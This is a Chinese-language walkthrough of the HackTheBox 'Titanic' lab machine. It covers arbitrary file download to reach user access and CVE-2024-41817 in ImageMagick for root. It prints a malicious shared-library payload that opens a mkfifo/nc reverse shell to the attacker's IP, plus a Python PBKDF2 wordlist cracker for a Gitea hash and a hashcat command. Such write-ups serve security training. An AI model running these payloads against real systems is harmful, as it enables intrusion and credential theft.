HTB_Titanic
linux(Eazy)
总结
user.txt:
任意文件下载->/etc/hosts,或者一开始就子域名扫描
通过配置文件信息->任意文件下载db文件->developer-shell
root.txt:
cve-2024-41817 库加载,使用了当前工作目录的恶意共享库
防御:
1.防止非预期的路径
2.删除空路径
3.变量参数化? (可能是防止目录不存在导致路径解析不正确)
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.x.x 3737 >/tmp/f");
exit(0);
}
EOF
root@titanic:/opt/app/static/assets/images# crontab -l
* * * * * /opt/scripts/identify_images.sh && /root/cleanup.sh
*/10 * * * * /root/revert.sh
crontab -l是查看当前用户的计划任务,
而/etc/crontab是看系统范围内的计划任务,还是有些不同之处
参考
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
import hashlib
import concurrent.futures
# ============ 配置区 ============
#pbkdf2$50000$salt$encrypted_pass
hash_str = "pbkdf2$50000$8b???34$e531d398946137baea70ed6a680a54????efc5dbef30bf1682619263444ea594cfb56"
wordlist = "rockyou.txt"# 字典路径
num_threads = 4# 线程数,根据 CPU 核心数调整
# =================================
# 解析 Gitea PBKDF2 哈希格式
_, iterations, salt_hex, hash_hex = hash_str.split('$')
iterations = int(iterations)
salt = bytes.fromhex(salt_hex) # 直接解析 Hex
target_hash = bytes.fromhex(hash_hex) # 直接解析 Hex
deftry_password(password):
"""计算 PBKDF2-HMAC-SHA256,并检查是否匹配目标哈希"""
password = password.strip().encode() # 去除换行并转换为字节
derived_key = hashlib.pbkdf2_hmac('sha256', password, salt, iterations, dklen=len(target_hash))
if derived_key == target_hash:
print(f"n[✅] 破解成功!密码: {password.decode()}")
return password.decode() # 返回明文密码
else:
print(f"[-] {password.decode()}")
returnNone
defcrack_password():
"""使用多线程读取字典并尝试破解"""
withopen(wordlist, "r", encoding="latin-1") as f, concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = {executor.submit(try_password, line): line for line in f}
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result: # 发现正确密码
executor.shutdown(wait=False) # 立即停止其他线程
return result
else:
print("[-] 尝试失败")
if __name__ == "__main__":
cracked_password = crack_password()
if cracked_password:
print(f"n🎉 成功破解密码: {cracked_password}")
else:
print("n❌ 爆破失败,请尝试更大的字典或更长时间。")
后面有师傅是用了hashcat,但我好像没试出来
hashcat64.exe -m 12000 -a 0 test.txt rockyou.txt
#sha1:50000:salt:pass
https://mindpatch.medium.com/cve-2024-41817-how-env-var-triggers-rce-in-imagemagicks-appimage-14d54aba5613
原文始发于微信公众号(羽泪云小栈):HTB_Titanic
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论